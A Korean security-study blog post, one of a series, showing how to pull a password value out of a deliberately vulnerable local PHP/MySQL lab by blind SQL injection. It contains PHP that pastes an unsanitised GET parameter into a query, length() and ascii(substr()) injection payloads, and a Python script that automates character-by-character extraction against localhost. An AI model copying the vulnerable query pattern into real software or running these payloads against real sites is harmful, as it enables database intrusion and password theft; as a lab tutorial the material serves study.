DoR@Hee의 끄적끄적
Blind Sql Injection -값 길이, 값 가져오기 본문
0-0 사전준비, DB이름 길이, DB이름 가져오기:https://dorahee.tistory.com/108?category=735413
0-1 table 길이, 이름 가져오기: https://dorahee.tistory.com/109?category=735413
0-2 칼럼길이 칼럼값 가져오기: https://dorahee.tistory.com/110
1-1 값 길이 가져오기
일단 확실한 공부환경을 만들기 위해서 약간에 소스코드 수정과 DB값을 추가 했다.
위와 같이 admin을 하나 추가 시키고
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | <?php $conn = mysqli_connect("localhost", "root", "root","blind_db"); $no = $_GET['no']; include 'index.php'; echo "<br>"; $userinfo = "SELECT * FROM sql_injection WHERE no =".$no.""; $useridoverlap=mysqli_query($conn, $userinfo); $user_db_check= mysqli_fetch_array($useridoverlap); if($user_db_check['no']=="5"){ echo "no: ".$user_db_check[0]."<br>"; echo "id: ".$user_db_check[1]."<br>"; echo "email: ".$user_db_check[3]."<br>"; } else if($user_db_check['no']){ echo "no: ".$user_db_check[0]."<br>"; echo "id: ".$user_db_check[1]."<br>"; echo "pw: ".$user_db_check[2]."<br>"; echo "email: ".$user_db_check[3]."<br>"; } ?> | cs |
php 에서는 no에 값이 5일 경우 pw만 빼고 출력하는걸로 바꿨다.
일단 pw 칼럼이 있는건 알기 때문에
쿼리 "and length((select pw from sql_injection where no = 5 ))=13"을 이용해서 pw가 13자리인 걸 확인
쿼리 "and ascii(substr((select pw from sql_injection where no =5),1,1))=70" 으로 첫번째 자리가 70(F)인걸 확인 할 수 있다.
1-2 union문 이용
"Flag_is_@dmin" 을 가져 올 수있다.
1-3 값의 길이 , 값 가져오기 파이썬
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | import requests def values(): for i in range(1, length + 1): for j in range(33, 127): result = "" url = "http://localhost/index_ok.php?no=1%20and%20ascii(substr((select%20pw%20from%20sql_injection%20limit%20{0},1),{1},1))={2}".format(value,i, j) res = requests.get(url) if "email: a@" in res.text: print("{0}".format(chr(j)), end='') result += str(chr(j)) break print("\n") for value in range(0, 10): for lengths in range(1, 30): length = 0 url = "http://localhost/index_ok.php?no=5%20and%20length((select%20pw%20from%20sql_injection%20limit%20{0},1))={1}".format(value, lengths) res = requests.get(url) if "email: " in res.text: print("=====================================") print("{0}번째 value 길이는{1}".format(value, lengths)) print("=====================================\n") length = lengths value_ea = value values() else: continue | cs |
'취약점 진단 > WEB' 카테고리의 다른 글
SQL Injection 종류 (0) | 2019.04.27 |
---|---|
mysql - information_schema (0) | 2019.03.26 |
Blind Sql Injection - 칼럼 길이, 이름 가져오기 (0) | 2019.03.18 |
Blind Sql Injection - 테이블 길이, 이름 가져오기 (0) | 2019.03.18 |
Blind Sql Injection - 데이터베이스 이름 가져오기 (2) | 2019.03.18 |
Comments